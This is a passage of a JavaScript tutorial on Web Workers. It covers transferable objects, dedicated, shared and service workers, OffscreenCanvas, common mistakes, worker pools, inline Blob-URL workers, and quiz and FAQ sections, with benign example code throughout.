objects](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Transferable_objects) documentation.\n</Note>\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    COPY VS TRANSFER                                      │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  COPY (Default)                        TRANSFER                          │\n│  ─────────────                         ────────                          │\n│                                                                          │\n│  Main Thread    Worker Thread          Main Thread    Worker Thread      │\n│  ┌─────────┐    ┌─────────┐            ┌─────────┐    ┌─────────┐        │\n│  │ [data]  │    │         │            │ [data]  │    │         │        │\n│  │  100MB  │    │         │            │  100MB  │    │         │        │\n│  └────┬────┘    └─────────┘            └────┬────┘    └─────────┘        │\n│       │                                     │                            │\n│       │ copy                                │ move                       │\n│       ▼                                     ▼                            │\n│  ┌─────────┐    ┌─────────┐            ┌─────────┐    ┌─────────┐        │\n│  │ [data]  │    │ [data]  │            │ [empty] │    │ [data]  │        │\n│  │  100MB  │    │  100MB  │            │   0MB   │    │  100MB  │        │\n│  └─────────┘    └─────────┘            └─────────┘    └─────────┘        │\n│                                                                          │\n│  • Slow (copies bytes)                 • Fast (moves pointer)            │\n│  • Both have the data                  • Only one has the data           │\n│  • Memory doubled                      • Memory unchanged                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Tip>\n**Rule of thumb:** Transfer when the data is large (> 1MB) and you don't need to keep it in the sending context. Copy when the data is small or you need it in both places.\n</Tip>\n\n---\n\n## Types of Workers\n\nThere are three types of workers in the browser, each with different purposes.\n\n### Dedicated Workers\n\n**[Dedicated Workers](https://developer.mozilla.org/en-US/docs/Web/API/Worker)** are the most common type. They're owned by a single script and can only communicate with that script.\n\n```javascript\n// Only this script can talk to this worker\nconst worker = new Worker('worker.js', { type: 'module' })\n```\n\nUse dedicated workers for:\n- Heavy calculations\n- Data processing\n- Image manipulation\n- Any task you want off the main thread\n\n### Shared Workers\n\n**[Shared Workers](https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker)** can be accessed by multiple scripts, even across different browser tabs or iframes (as long as they're from the same origin).\n\n```javascript\n// main.js (Tab 1)\nconst worker = new SharedWorker('shared-worker.js')\n\nworker.port.onmessage = (event) => {\n  console.log('Received:', event.data)\n}\n\nworker.port.postMessage('Hello from Tab 1')\n```\n\n```javascript\n// main.js (Tab 2) - connects to the SAME worker\nconst worker = new SharedWorker('shared-worker.js')\n\nworker.port.onmessage = (event) => {\n  console.log('Received:', event.data)\n}\n\nworker.port.postMessage('Hello from Tab 2')\n```\n\n```javascript\n// shared-worker.js\nconst connections = []\n\nself.onconnect = (event) => {\n  const port = event.ports[0]\n  connections.push(port)\n  \n  port.onmessage = (e) => {\n    // Broadcast to all connected tabs\n    connections.forEach(p => {\n      p.postMessage(`Someone said: ${e.data}`)\n    })\n  }\n  \n  port.start()\n}\n```\n\nUse shared workers for:\n- Shared state across tabs\n- Single WebSocket connection for multiple tabs\n- Shared cache or data layer\n- Reducing resource usage for identical workers\n\n<Warning>\nShared Workers have limited browser support. They work in Chrome, Firefox, Edge, and Safari 16+, but are **not supported on Android browsers** (Chrome for Android, Samsung Internet). Check [caniuse.com](https://caniuse.com/sharedworkers) before using in production.\n</Warning>\n\n### Service Workers (Brief Overview)\n\n**[Service Workers](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)** are a special type of worker designed for a different purpose: they act as a proxy between your web app and the network. They enable offline functionality, push notifications, and background sync.\n\n```javascript\n// Registering a service worker (in main.js)\nif ('serviceWorker' in navigator) {\n  navigator.serviceWorker.register('/sw.js')\n    .then(registration => {\n      console.log('SW registered:', registration)\n    })\n    .catch(error => {\n      console.log('SW registration failed:', error)\n    })\n}\n```\n\n```javascript\n// sw.js - intercepts network requests\nself.addEventListener('fetch', (event) => {\n  event.respondWith(\n    caches.match(event.request)\n      .then(response => response || fetch(event.request))\n  )\n})\n```\n\n| Feature | Dedicated Worker | Shared Worker | Service Worker |\n|---------|-----------------|---------------|----------------|\n| **Purpose** | Background computation | Shared computation | Network proxy, offline |\n| **Lifetime** | While page is open | While any tab uses it | Independent of pages |\n| **Communication** | `postMessage` | `port.postMessage` | `postMessage` + events |\n| **DOM access** | No | No | No |\n| **Network intercept** | No | No | Yes |\n| **Scope** | Single script | Same-origin scripts | Controlled pages |\n\n<Note>\nService Workers are a deep topic with their own complexities around lifecycle, caching strategies, and updates. They deserve their own dedicated guide. For now, just know they exist and are different from Web Workers.\n</Note>\n\n---\n\n## OffscreenCanvas: Graphics in Workers\n\nNormally, canvas operations happen on the main thread. With [`OffscreenCanvas`](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas), you can move rendering to a worker, keeping the main thread free for user interactions.\n\n### Basic OffscreenCanvas Usage\n\n```javascript\n// main.js\nconst canvas = document.getElementById('myCanvas')\n\n// Transfer control to an OffscreenCanvas\nconst offscreen = canvas.transferControlToOffscreen()\n\nconst worker = new Worker('canvas-worker.js', { type: 'module' })\n\n// Transfer the canvas to the worker\nworker.postMessage({ canvas: offscreen }, [offscreen])\n```\n\n```javascript\n// canvas-worker.js\nlet ctx\n\nself.onmessage = (event) => {\n  if (event.data.canvas) {\n    const canvas = event.data.canvas\n    ctx = canvas.getContext('2d')\n    \n    // Start animation loop in the worker\n    animate()\n  }\n}\n\nfunction animate() {\n  // Clear canvas\n  ctx.fillStyle = '#000'\n  ctx.fillRect(0, 0, 800, 600)\n  \n  // Draw something\n  ctx.fillStyle = '#0f0'\n  ctx.fillRect(\n    Math.random() * 700,\n    Math.random() * 500,\n    100,\n    100\n  )\n  \n  // Request next frame\n  // Note: requestAnimationFrame is available in dedicated workers only\n  requestAnimationFrame(animate)\n}\n```\n\n### Real-World Use: Image Processing\n\nOne common use for OffscreenCanvas is image processing:\n\n```javascript\n// main.js\nconst worker = new Worker('image-worker.js', { type: 'module' })\n\nasync function processImage(file) {\n  const bitmap = await createImageBitmap(file)\n  \n  worker.postMessage({ \n    bitmap, \n    filter: 'grayscale' \n  }, [bitmap])  // Transfer the bitmap\n}\n\nworker.onmessage = (event) => {\n  const processedBitmap = event.data.bitmap\n  \n  // Draw the result on a visible canvas\n  const canvas = document.getElementById('result')\n  const ctx = canvas.getContext('2d')\n  ctx.drawImage(processedBitmap, 0, 0)\n}\n```\n\n```javascript\n// image-worker.js\nself.onmessage = async (event) => {\n  const { bitmap, filter } = event.data\n  \n  // Create an OffscreenCanvas matching the image size\n  const canvas = new OffscreenCanvas(bitmap.width, bitmap.height)\n  const ctx = canvas.getContext('2d')\n  \n  // Draw the image\n  ctx.drawImage(bitmap, 0, 0)\n  \n  // Get pixel data\n  const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height)\n  const data = imageData.data\n  \n  // Apply grayscale filter\n  if (filter === 'grayscale') {\n    for (let i = 0; i < data.length; i += 4) {\n      const avg = (data[i] + data[i + 1] + data[i + 2]) / 3\n      data[i] = avg       // R\n      data[i + 1] = avg   // G\n      data[i + 2] = avg   // B\n      // Alpha unchanged\n    }\n  }\n  \n  // Put processed data back\n  ctx.putImageData(imageData, 0, 0)\n  \n  // Convert to bitmap and send back\n  const resultBitmap = await createImageBitmap(canvas)\n  self.postMessage({ bitmap: resultBitmap }, [resultBitmap])\n}\n```\n\n<Tip>\nOffscreenCanvas is great for games, data visualizations, and image/video processing. Anything that involves heavy canvas work can benefit from being moved to a worker.\n</Tip>\n\n---\n\n## What Can't Web Workers Do?\n\nWorkers run in a restricted environment. Understanding what they **can't** do is just as important as knowing what they can.\n\n### No DOM Access\n\nWorkers cannot access the DOM. They can't read or modify HTML elements:\n\n```javascript\n// worker.js\n// ❌ All of these will fail\ndocument.getElementById('app')         // document is undefined\nwindow.location                        // window is undefined\ndocument.createElement('div')          // Can't create elements\nelement.addEventListener('click', fn)  // Can't add event listeners\n```\n\nIf you need to update the DOM based on worker results, send the data back to the main thread:\n\n```javascript\n// worker.js\nconst result = heavyCalculation()\nself.postMessage({ result })  // Send data to main thread\n```\n\n```javascript\n// main.js\nworker.onmessage = (event) => {\n  // Update DOM on the main thread\n  document.getElementById('result').textContent = event.data.result\n}\n```\n\n### Different Global Scope\n\nWorkers have their own global object: [`DedicatedWorkerGlobalScope`](https://developer.mozilla.org/en-US/docs/Web/API/DedicatedWorkerGlobalScope). Many familiar globals are missing or different:\n\n```javascript\n// worker.js\nconsole.log(self)           // DedicatedWorkerGlobalScope\nconsole.log(window)         // undefined\nconsole.log(document)       // undefined\nconsole.log(localStorage)   // undefined\nconsole.log(sessionStorage) // undefined\nconsole.log(alert)          // undefined\n```\n\n### What Workers CAN Access\n\nWorkers aren't completely isolated. They have access to:\n\n| Available | Example |\n|-----------|---------|\n| [`fetch`](https://developer.mozilla.org/en-US/docs/Web/API/fetch) | `fetch('/api/data')` |\n| [`XMLHttpRequest`](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) | Network requests |\n| [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) / [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/setInterval) | Timers |\n| [`IndexedDB`](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) | Database storage |\n| [`WebSocket`](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) | Real-time connections |\n| [`crypto`](https://developer.mozilla.org/en-US/docs/Web/API/Crypto) | Cryptographic operations |\n| [`navigator`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator) (partial) | `navigator.userAgent`, etc. |\n| [`location`](https://developer.mozilla.org/en-US/docs/Web/API/WorkerLocation) (read-only) | URL information |\n| [`console`](https://developer.mozilla.org/en-US/docs/Web/API/console) | Logging (appears in DevTools) |\n| `importScripts()` | Load scripts (classic workers) |\n| `import` / `export` | ES modules (module workers) |\n\n```javascript\n// worker.js - These all work!\nconsole.log('Worker started')\n\nsetTimeout(() => {\n  console.log('Timer fired in worker')\n}, 1000)\n\nfetch('/api/data')\n  .then(r => r.json())\n  .then(data => {\n    self.postMessage(data)\n  })\n```\n\n---\n\n## Common Mistakes\n\n### Mistake #1: Trying to Access the DOM\n\nThe most common mistake. It fails silently or throws cryptic errors:\n\n```javascript\n// worker.js\n// ❌ WRONG - This won't work\nself.onmessage = (event) => {\n  const result = calculate(event.data)\n  document.getElementById('output').textContent = result  // ERROR!\n}\n\n// ✓ CORRECT - Send data back to main thread\nself.onmessage = (event) => {\n  const result = calculate(event.data)\n  self.postMessage(result)  // Main thread updates the DOM\n}\n```\n\n### Mistake #2: Not Terminating Workers\n\nWorkers consume resources. If you don't terminate them, they keep running:\n\n```javascript\n// main.js\n// ❌ WRONG - Creates a new worker for each click, never cleans up\nbutton.addEventListener('click', () => {\n  const worker = new Worker('worker.js')\n  worker.postMessage(data)\n  worker.onmessage = (e) => showResult(e.data)\n  // Worker keeps running even after we're done!\n})\n\n// ✓ CORRECT - Terminate when done\nbutton.addEventListener('click', () => {\n  const worker = new Worker('worker.js')\n  worker.postMessage(data)\n  worker.onmessage = (e) => {\n    showResult(e.data)\n    worker.terminate()  // Clean up!\n  }\n})\n\n// ✓ BETTER - Reuse the same worker\nconst worker = new Worker('worker.js')\nworker.onmessage = (e) => showResult(e.data)\n\nbutton.addEventListener('click', () => {\n  worker.postMessage(data)  // Reuse existing worker\n})\n```\n\n### Mistake #3: Overusing Workers for Small Tasks\n\nWorkers have overhead. Creating them, posting messages, and cloning data all take time:\n\n```javascript\n// ❌ WRONG - Worker overhead exceeds computation time\nconst worker = new Worker('worker.js')\nworker.postMessage([1, 2, 3])  // Adding 3 numbers doesn't need a worker\n\n// ✓ CORRECT - Just do it on the main thread\nconst sum = [1, 2, 3].reduce((a, b) => a + b, 0)\n```\n\n<Tip>\n**Rule of thumb:** Only use workers for tasks that take more than 50-100ms. For quick operations, the overhead isn't worth it.\n</Tip>\n\n### Mistake #4: Sending Functions to Workers\n\nFunctions can't be cloned:\n\n```javascript\n// ❌ WRONG - Functions can't be sent\nworker.postMessage({\n  data: [1, 2, 3],\n  callback: (result) => console.log(result)  // ERROR!\n})\n\n// ✓ CORRECT - Send data, handle callback in onmessage\nworker.postMessage({ data: [1, 2, 3] })\nworker.onmessage = (e) => console.log(e.data)  // \"Callback\" on main thread\n```\n\n### Mistake #5: Forgetting Error Handling\n\nWorkers fail silently if you don't handle errors:\n\n```javascript\n// ❌ WRONG - Errors disappear\nconst worker = new Worker('worker.js')\nworker.postMessage(data)\nworker.onmessage = (e) => console.log(e.data)\n\n// ✓ CORRECT - Always handle errors\nconst worker = new Worker('worker.js')\nworker.postMessage(data)\nworker.onmessage = (e) => console.log(e.data)\nworker.onerror = (e) => {\n  console.error('Worker error:', e.message)\n  console.error('In file:', e.filename, 'line:', e.lineno)\n}\n```\n\n---\n\n## Real-World Patterns\n\n### Pattern 1: Heavy Computation\n\nMoving CPU-intensive work off the main thread:\n\n```javascript\n// main.js\nconst worker = new Worker('prime-worker.js', { type: 'module' })\n\ndocument.getElementById('findPrimes').addEventListener('click', () => {\n  const max = parseInt(document.getElementById('max').value)\n  \n  document.getElementById('status').textContent = 'Calculating...'\n  document.getElementById('findPrimes').disabled = true\n  \n  worker.postMessage({ findPrimesUpTo: max })\n})\n\nworker.onmessage = (event) => {\n  const { primes, timeTaken } = event.data\n  \n  document.getElementById('status').textContent = \n    `Found ${primes.length} primes in ${timeTaken}ms`\n  document.getElementById('findPrimes').disabled = false\n}\n```\n\n```javascript\n// prime-worker.js\nfunction isPrime(n) {\n  if (n < 2) return false\n  for (let i = 2; i <= Math.sqrt(n); i++) {\n    if (n % i === 0) return false\n  }\n  return true\n}\n\nfunction findPrimes(max) {\n  const primes = []\n  for (let i = 2; i <= max; i++) {\n    if (isPrime(i)) primes.push(i)\n  }\n  return primes\n}\n\nself.onmessage = (event) => {\n  const { findPrimesUpTo } = event.data\n  \n  const start = performance.now()\n  const primes = findPrimes(findPrimesUpTo)\n  const timeTaken = performance.now() - start\n  \n  self.postMessage({ primes, timeTaken })\n}\n```\n\n### Pattern 2: Data Parsing\n\nParsing large JSON or CSV files:\n\n```javascript\n// main.js\nconst worker = new Worker('parser-worker.js', { type: 'module' })\n\nasync function parseFile(file) {\n  const text = await file.text()\n  worker.postMessage({ csv: text })\n}\n\nworker.onmessage = (event) => {\n  const { rows, headers, errors } = event.data\n  console.log(`Parsed ${rows.length} rows`)\n  displayData(rows)\n}\n\ndocument.getElementById('fileInput').addEventListener('change', (e) => {\n  parseFile(e.target.files[0])\n})\n```\n\n```javascript\n// parser-worker.js\nfunction parseCSV(text) {\n  const lines = text.split('\\n')\n  const headers = lines[0].split(',').map(h => h.trim())\n  const rows = []\n  const errors = []\n  \n  for (let i = 1; i < lines.length; i++) {\n    const line = lines[i].trim()\n    if (!line) continue\n    \n    try {\n      const values = line.split(',')\n      const row = {}\n      headers.forEach((header, index) => {\n        row[header] = values[index]?.trim()\n      })\n      rows.push(row)\n    } catch (e) {\n      errors.push({ line: i, error: e.message })\n    }\n  }\n  \n  return { headers, rows, errors }\n}\n\nself.onmessage = (event) => {\n  const { csv } = event.data\n  const result = parseCSV(csv)\n  self.postMessage(result)\n}\n```\n\n### Pattern 3: Real-Time Data Processing\n\nProcessing streaming data (like from WebSocket or sensors):\n\n```javascript\n// main.js\nconst processingWorker = new Worker('stream-worker.js', { type: 'module' })\nconst ws = new WebSocket('wss://data-feed.example.com')\n\nws.onmessage = (event) => {\n  // Don't process on main thread - send to worker\n  processingWorker.postMessage(JSON.parse(event.data))\n}\n\nprocessingWorker.onmessage = (event) => {\n  // Only update UI with processed results\n  updateChart(event.data)\n}\n```\n\n```javascript\n// stream-worker.js\nlet buffer = []\nconst BATCH_SIZE = 100\n\nfunction processBuffer() {\n  if (buffer.length < BATCH_SIZE) return\n  \n  // Calculate statistics\n  const values = buffer.map(d => d.value)\n  const avg = values.reduce((a, b) => a + b, 0) / values.length\n  const max = Math.max(...values)\n  const min = Math.min(...values)\n  \n  self.postMessage({ avg, max, min, count: buffer.length })\n  buffer = []\n}\n\nself.onmessage = (event) => {\n  buffer.push(event.data)\n  processBuffer()\n}\n\n// Process remaining data periodically\nsetInterval(processBuffer, 1000)\n```\n\n---\n\n## Worker Pools: Reusing Workers\n\nCreating workers has overhead. For repeated tasks, use a **worker pool** to reuse workers instead of creating new ones:\n\n```javascript\n// WorkerPool.js\nexport class WorkerPool {\n  constructor(workerScript, poolSize = navigator.hardwareConcurrency || 4) {\n    this.workers = []\n    this.queue = []\n    this.poolSize = poolSize\n    this.workerScript = workerScript\n    \n    // Create workers\n    for (let i = 0; i < poolSize; i++) {\n      this.workers.push({\n        worker: new Worker(workerScript, { type: 'module' }),\n        busy: false\n      })\n    }\n  }\n  \n  runTask(data) {\n    return new Promise((resolve, reject) => {\n      const task = { data, resolve, reject }\n      \n      // Find available worker\n      const available = this.workers.find(w => !w.busy)\n      \n      if (available) {\n        this.#runOnWorker(available, task)\n      } else {\n        // Queue the task\n        this.queue.push(task)\n      }\n    })\n  }\n  \n  #runOnWorker(workerInfo, task) {\n    workerInfo.busy = true\n    \n    const handleMessage = (event) => {\n      workerInfo.worker.removeEventListener('message', handleMessage)\n      workerInfo.busy = false\n      \n      task.resolve(event.data)\n      \n      // Process queued tasks\n      if (this.queue.length > 0) {\n        const nextTask = this.queue.shift()\n        this.#runOnWorker(workerInfo, nextTask)\n      }\n    }\n    \n    const handleError = (error) => {\n      workerInfo.worker.removeEventListener('error', handleError)\n      workerInfo.busy = false\n      task.reject(error)\n    }\n    \n    workerInfo.worker.addEventListener('message', handleMessage)\n    workerInfo.worker.addEventListener('error', handleError)\n    workerInfo.worker.postMessage(task.data)\n  }\n  \n  terminate() {\n    this.workers.forEach(w => w.worker.terminate())\n    this.workers = []\n    this.queue = []\n  }\n}\n```\n\n```javascript\n// main.js - Using the pool\nimport { WorkerPool } from './WorkerPool.js'\n\nconst pool = new WorkerPool('compute-worker.js', 4)\n\n// Process many items in parallel\nasync function processItems(items) {\n  const results = await Promise.all(\n    items.map(item => pool.runTask(item))\n  )\n  return results\n}\n\n// Example: process 100 items using 4 workers\nconst items = Array.from({ length: 100 }, (_, i) => ({ id: i, data: Math.random() }))\nconst results = await processItems(items)\nconsole.log(results)\n\n// Clean up when done\npool.terminate()\n```\n\n```javascript\n// compute-worker.js\nself.onmessage = (event) => {\n  const { id, data } = event.data\n  \n  // Simulate heavy computation\n  let result = data\n  for (let i = 0; i < 1000000; i++) {\n    result = Math.sin(result) * Math.cos(result)\n  }\n  \n  self.postMessage({ id, result })\n}\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                           WORKER POOL                                    │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  MAIN THREAD                                                             │\n│  ┌─────────────────────────────────────────────────────────────────┐    │\n│  │  WorkerPool                                                      │    │\n│  │  ┌─────────────────────────────────────────────────────────┐     │    │\n│  │  │                        TASK QUEUE                        │     │    │\n│  │  │  [Task 5] [Task 6] [Task 7] [Task 8] ...                 │     │    │\n│  │  └─────────────────────────────────────────────────────────┘     │    │\n│  └──────────────┬───────────────┬───────────────┬───────────────┬───┘    │\n│                 │               │               │               │        │\n│                 ▼               ▼               ▼               ▼        │\n│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐                 │\n│  │ Worker 1 │  │ Worker 2 │  │ Worker 3 │  │ Worker 4 │                 │\n│  │ [Task 1] │  │ [Task 2] │  │ [Task 3] │  │ [Task 4] │                 │\n│  │  (busy)  │  │  (busy)  │  │  (busy)  │  │  (busy)  │                 │\n│  └──────────┘  └──────────┘  └──────────┘  └──────────┘                 │\n│                                                                          │\n│  • Reuses existing workers (no creation overhead)                        │\n│  • Tasks queue when all workers are busy                                 │\n│  • Automatically assigns tasks as workers become free                    │\n│  • Pool size often matches CPU core count                                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Tip>\n`navigator.hardwareConcurrency` returns the number of logical CPU cores. Using this as your pool size lets you maximize parallelism without oversubscribing.\n</Tip>\n\n---\n\n## Inline Workers: The Blob URL Trick\n\nSometimes you want a worker without a separate file. You can create workers from strings using [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob) URLs:\n\n```javascript\n// Create a worker from a string (no separate file needed!)\nfunction createWorkerFromString(code) {\n  const blob = new Blob([code], { type: 'application/javascript' })\n  const url = URL.createObjectURL(blob)\n  const worker = new Worker(url)\n  \n  // The URL can be revoked immediately after the worker is created.\n  // The browser keeps the blob data until the worker finishes loading.\n  URL.revokeObjectURL(url)\n  \n  return worker\n}\n\n// Usage\nconst workerCode = `\n  self.onmessage = (event) => {\n    const numbers = event.data\n    const sum = numbers.reduce((a, b) => a + b, 0)\n    self.postMessage(sum)\n  }\n`\n\nconst worker = createWorkerFromString(workerCode)\nworker.postMessage([1, 2, 3, 4, 5])\nworker.onmessage = (e) => console.log('Sum:', e.data)  // Sum: 15\n```\n\n### A Cleaner Pattern: Function-Based Workers\n\nYou can even define the worker logic as a function:\n\n```javascript\nfunction createWorkerFromFunction(fn) {\n  // Convert function to string and wrap in self.onmessage\n  const code = `\n    const workerFn = ${fn.toString()}\n    self.onmessage = (event) => {\n      const result = workerFn(event.data)\n      self.postMessage(result)\n    }\n  `\n  \n  const blob = new Blob([code], { type: 'application/javascript' })\n  const url = URL.createObjectURL(blob)\n  return new Worker(url)\n}\n\n// Usage - define worker logic as a normal function!\nconst worker = createWorkerFromFunction((data) => {\n  // This runs in the worker\n  return data.map(n => n * 2)\n})\n\nworker.postMessage([1, 2, 3])\nworker.onmessage = (e) => console.log(e.data)  // [2, 4, 6]\n```\n\n<Warning>\n**Limitations of inline workers:**\n- The function can't use closures (no access to outer scope)\n- Can't import modules (the code is a string)\n- Harder to debug (no source maps)\n- Best used for simple, self-contained tasks\n</Warning>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Web Workers provide true parallelism** — Unlike async/await (which is concurrent but single-threaded), workers run on separate CPU threads simultaneously.\n\n2. **Use workers for CPU-bound tasks** — Async is for waiting (network, timers). Workers are for computing (heavy calculations, data processing).\n\n3. **Workers communicate via `postMessage`** — Data is copied by default using the structured clone algorithm. Workers can't directly access main thread variables.\n\n4. **Workers can't touch the DOM** — No `document`, no `window`, no `localStorage`. If you need to update the UI, send data back to the main thread.\n\n5. **Transfer large data instead of copying** — For big ArrayBuffers, use `postMessage(data, [data])` to transfer ownership. The transfer is nearly instant.\n\n6. **Module workers are the modern approach** — Use `new Worker('file.js', { type: 'module' })` to enable `import`/`export` syntax and modern features.\n\n7. **Three types of workers exist** — Dedicated (one owner), Shared (multiple tabs), and Service Workers (network proxy). Use Dedicated for most cases.\n\n8. **Always terminate workers when done** — Call `worker.terminate()` or they'll keep running and consuming resources.\n\n9. **Don't overuse workers for small tasks** — Worker creation and message passing have overhead. Only use them for tasks taking 50ms+.\n\n10. **Worker pools improve performance** — Reuse workers instead of creating new ones for repeated tasks. Match pool size to CPU cores.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between async/await and Web Workers?\">\n    **Answer:**\n    \n    Async/await provides **concurrency** on a single thread. When you `await`, JavaScript pauses that function and runs other code, but everything still runs on one thread, taking turns.\n    \n    Web Workers provide **parallelism** on multiple threads. A worker runs on a completely separate thread, executing simultaneously with the main thread.\n    \n    ```javascript\n    // Async: Takes turns on one thread\n    async function fetchData() {\n      await fetch('/api')  // Pauses here, other code can run\n    }\n    \n    // Workers: Actually runs at the same time\n    const worker = new Worker('heavy-task.js')\n    worker.postMessage(data)  // Worker computes in parallel\n    // Main thread continues immediately\n    ```\n    \n    Use async for I/O-bound tasks (network, files). Use workers for CPU-bound tasks (calculations, processing).\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why can't workers access the DOM?\">\n    **Answer:**\n    \n    The DOM is not thread-safe. If multiple threads could modify the DOM simultaneously, you'd get race conditions and corrupted state. Browsers would need complex locking mechanisms.\n    \n    Instead, browsers made a design choice: only the main thread can touch the DOM. Workers do computation and send results back:\n    \n    ```javascript\n    // worker.js\n    // ❌ Can't do this\n    document.getElementById('result').textContent = 'Done'\n    \n    // ✓ Send data back instead\n    self.postMessage({ result: 'Done' })\n    \n    // main.js\n    worker.onmessage = (e) => {\n      document.getElementById('result').textContent = e.data.result\n    }\n    ```\n    \n    This constraint keeps things simple and bug-free.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: When should you use transferable objects?\">\n    **Answer:**\n    \n    Use transferable objects when:\n    1. You're sending large data (> 1MB)\n    2. You don't need to keep the data in the sending context\n    \n    ```javascript\n    // Large buffer (100MB)\n    const buffer = new ArrayBuffer(100 * 1024 * 1024)\n    \n    // ❌ SLOW: Copies 100MB\n    worker.postMessage(buffer)\n    \n    // ✓ FAST: Transfers ownership instantly\n    worker.postMessage(buffer, [buffer])\n    // buffer is now empty (byteLength = 0)\n    ```\n    \n    Transferable objects include: ArrayBuffer, MessagePort, ImageBitmap, OffscreenCanvas, and various streams.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's the difference between Dedicated and Shared Workers?\">\n    **Answer:**\n    \n    **Dedicated Workers** belong to a single script. Only that script can communicate with them.\n    \n    ```javascript\n    const worker = new Worker('worker.js')  // Only this script uses it\n    ```\n    \n    **Shared Workers** can be accessed by multiple scripts, even across different tabs of the same origin.\n    \n    ```javascript\n    // Tab 1 and Tab 2 both connect to the same worker\n    const worker = new SharedWorker('shared.js')\n    worker.port.postMessage('hello')\n    ```\n    \n    Use Shared Workers for:\n    - Shared state across tabs\n    - Single WebSocket connection for multiple tabs\n    - Reducing memory by sharing one worker instance\n    \n    Note: Shared Workers have limited browser support (not in Safari).\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How do you create a worker without a separate file?\">\n    **Answer:**\n    \n    Use a Blob URL to create a worker from a string:\n    \n    ```javascript\n    const code = `\n      self.onmessage = (event) => {\n        const result = event.data * 2\n        self.postMessage(result)\n      }\n    `\n    \n    const blob = new Blob([code], { type: 'application/javascript' })\n    const url = URL.createObjectURL(blob)\n    const worker = new Worker(url)\n    \n    worker.postMessage(5)\n    worker.onmessage = (e) => console.log(e.data)  // 10\n    \n    // Clean up\n    URL.revokeObjectURL(url)\n    ```\n    \n    This is useful for simple tasks or demos, but has limitations: no imports, no closures, harder to debug.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What happens if you forget to terminate a worker?\">\n    **Answer:**\n    \n    The worker keeps running and consuming resources (memory, CPU time). If you create workers in a loop or on repeated events without terminating them, you'll leak resources:\n    \n    ```javascript\n    // ❌ Memory leak: creates new worker every click\n    button.onclick = () => {\n      const worker = new Worker('task.js')\n      worker.postMessage(data)\n      worker.onmessage = (e) => showResult(e.data)\n      // Worker never terminated!\n    }\n    \n    // ✓ Fixed: terminate after use\n    button.onclick = () => {\n      const worker = new Worker('task.js')\n      worker.postMessage(data)\n      worker.onmessage = (e) => {\n        showResult(e.data)\n        worker.terminate()  // Clean up\n      }\n    }\n    \n    // ✓ Better: reuse one worker\n    const worker = new Worker('task.js')\n    worker.onmessage = (e) => showResult(e.data)\n    \n    button.onclick = () => {\n      worker.postMessage(data)  // Reuse\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are Web Workers in JavaScript?\">\n    Web Workers are a browser API that lets you run JavaScript in background threads, separate from the main UI thread. As defined in the WHATWG HTML Living Standard, workers execute in an isolated global context with no access to the DOM. They communicate with the main thread through `postMessage()` and are supported in all modern browsers.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between Web Workers and async/await?\">\n    Async/await provides concurrency on a single thread — it helps with waiting for I/O but cannot speed up CPU-intensive computation. Web Workers provide true parallelism by running code on separate OS threads. Use async/await for network requests and timers; use Web Workers for heavy calculations, image processing, or data parsing that would otherwise freeze the UI.\n  </Accordion>\n\n  <Accordion title=\"Can Web Workers access the DOM?\">\n    No. Web Workers run in an isolated context and cannot access `document`, `window`, or any DOM APIs. This is by design — the DOM is not thread-safe, so allowing concurrent access would cause race conditions. Workers communicate results back to the main thread via `postMessage()`, and the main thread updates the DOM.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between Dedicated Workers, Shared Workers, and Service Workers?\">\n    Dedicated Workers serve a single page and are the most common type. Shared Workers can be accessed by multiple pages from the same origin. Service Workers act as network proxies that enable offline support and push notifications. According to Can I Use data, Dedicated Workers have over 98% browser support, while Shared Workers have more limited support.\n  </Accordion>\n\n  <Accordion title=\"What are transferable objects in Web Workers?\">\n    Transferable objects (like ArrayBuffer, MessagePort, and OffscreenCanvas) can be moved between threads without copying. Normal `postMessage()` data is cloned using the structured clone algorithm, which is slow for large data. Transferring ownership is nearly instant regardless of size, but the sending context loses access to the transferred object.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How JavaScript handles async on a single thread. Workers bypass this limitation.\n  </Card>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    The foundation of async JavaScript. Workers use postMessage, not Promises, for communication.\n  </Card>\n  <Card title=\"async/await\" icon=\"hourglass\" href=\"/concepts/async-await\">\n    Modern async syntax. Great for I/O, but workers handle CPU-bound tasks better.\n  </Card>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    The original async pattern. Workers use message callbacks for communication.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Web Workers API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API\">\n    